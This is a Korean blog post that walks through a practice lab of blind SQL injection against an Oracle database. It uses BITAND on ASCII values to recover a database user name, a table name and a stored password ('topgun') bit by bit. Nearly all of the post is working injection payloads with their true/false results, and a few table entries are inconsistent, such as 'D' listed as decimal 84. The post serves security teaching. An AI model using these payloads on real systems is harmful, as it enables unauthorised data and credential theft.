Oh! JUN
데이터 추론 기법(비트, ORACLE) 실습 본문
C##CREHACKTIVE → tb_board → IDX, PASSWORD
1. 사용자(DB) 이름 찾기

| BITAND(ascii(substr((select user from dual),1,1)),1)=1 | 정상 출력 1 | 2진수 : 01000011 10진수 : 67 문자형 : 'C' |
| BITAND(ascii(substr((select user from dual),1,1)),2)=2 | 정상 출력 1 | |
| BITAND(ascii(substr((select user from dual),1,1)),4)=4 | 에러 발생 0 | |
| BITAND(ascii(substr((select user from dual),1,1)),8)=8 | 에러 발생 0 | |
| BITAND(ascii(substr((select user from dual),1,1)),16)=16 | 에러 발생 0 | |
| BITAND(ascii(substr((select user from dual),1,1)),32)=32 | 에러 발생 0 | |
| BITAND(ascii(substr((select user from dual),1,1)),64)=64 | 정상 출력 1 | |
| BITAND(ascii(substr((select user from dual),1,1)),128)=128 | 에러 발생 0 | |
| 사용자(DB) : C????????????? | ||
.
... 생략
.
| BITAND(ascii(substr((select user from dual),14,1)),1)=1 | 정상 출력 1 | 2진수 : 01000101 10진수 : 69 문자형 : 'E' |
| BITAND(ascii(substr((select user from dual),14,1)),2)=2 | 에러 발생 0 | |
| BITAND(ascii(substr((select user from dual),14,1)),4)=4 | 에러 발생 1 | |
| BITAND(ascii(substr((select user from dual),14,1)),8)=8 | 에러 발생 0 | |
| BITAND(ascii(substr((select user from dual),14,1)),16)=16 | 에러 발생 0 | |
| BITAND(ascii(substr((select user from dual),14,1)),32)=32 | 에러 발생 0 | |
| BITAND(ascii(substr((select user from dual),14,1)),64)=64 | 정상 출력 1 | |
| BITAND(ascii(substr((select user from dual),14,1)),128)=128 | 에러 발생 0 | |
| 사용자(DB) : C##CREHACKTIVE | ||
2. 테이블 이름 찾기

| BITAND(ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),1,1)),1)=1 | 정상 출력 0 | 2진수 : 01010100 10진수 : 84 문자형 : 'T' |
| BITAND(ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),1,1)),2)=2 | 에러 발생 0 | |
| BITAND(ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),1,1)),4)=4 | 정상 출력 1 | |
| BITAND(ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),1,1)),8)=8 | 정상 출력 0 | |
| BITAND(ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),1,1)),16)=16 | 에러 발생 1 | |
| BITAND(ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),1,1)),32)=32 | 에러 발생 0 | |
| BITAND(ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),1,1)),64)=64 | 정상 출력 1 | |
| BITAND(ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),1,1)),128)=128 | 에러 발생 0 | |
| 테이블 : T??????? | ||
.
. 생략
.
| BITAND(ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),8,1)),1)=1 | 정상 출력 0 | 2진수 : 01000100 10진수 : 84 문자형 : 'D' |
| BITAND(ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),8,1)),2)=2 | 에러 발생 0 | |
| BITAND(ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),8,1)),4)=4 | 정상 출력 1 | |
| BITAND(ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),8,1)),8)=8 | 정상 출력 0 | |
| BITAND(ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),8,1)),16)=16 | 에러 발생 0 | |
| BITAND(ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),8,1)),32)=32 | 에러 발생 0 | |
| BITAND(ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),8,1)),64)=64 | 정상 출력 1 | |
| BITAND(ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),8,1)),128)=128 | 에러 발생 0 | |
| 테이블 : TB_BOARD | ||
3.데이터
| BITAND(ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),1,1)),1)=1 | 정상 출력 0 | 2진수 : 01110100 10진수 : 84 문자형 : 't' |
| BITAND(ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),1,1)),2)=2 | 에러 발생 0 | |
| BITAND(ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),1,1)),4)=4 | 정상 출력 1 | |
| BITAND(ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),1,1)),8)=8 | 정상 출력 0 | |
| BITAND(ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),1,1)),16)=16 | 에러 발생 1 | |
| BITAND(ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),1,1)),32)=32 | 에러 발생 1 | |
| BITAND(ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),1,1)),64)=64 | 정상 출력 1 | |
| BITAND(ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),1,1)),128)=128 | 에러 발생 0 | |
| DATA : t????? | ||
.
. 생략
.
| BITAND(ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),6,1)),1)=1 | 정상 출력 0 | 2진수 : 01101110 10진수 : 110 문자형 : 'n' |
| BITAND(ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),6,1)),2)=2 | 에러 발생 1 | |
| BITAND(ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),6,1)),4)=4 | 정상 출력 1 | |
| BITAND(ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),6,1)),8)=8 | 정상 출력 1 | |
| BITAND(ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),6,1)),16)=16 | 에러 발생 0 | |
| BITAND(ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),6,1)),32)=32 | 에러 발생 1 | |
| BITAND(ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),6,1)),64)=64 | 정상 출력 1 | |
| BITAND(ascii(substr((select PASSWORD from C##CREHACKTIVE.TB_BOARD where IDX=63),6,1)),128)=128 | 에러 발생 0 | |
| DATA : topgun | ||
'웹 해킹 > SQL Injection' 카테고리의 다른 글
| [DVWA] SQL Injection 실습 (Low Level, blind+비트) (0) | 2022.09.13 |
|---|---|
| [DVWA] SQL INJECTION 실습 (Low Level) (0) | 2022.09.04 |
| 데이터 추론 기법(비트, MYSQL) 실습 (0) | 2022.08.31 |
| 데이터 추론 기법(아스키코드) 실습 (0) | 2022.08.30 |
| 데이터 추론 기법(순차탐색) 실습(feat. Burp Suite Intruder 활용) (0) | 2022.08.30 |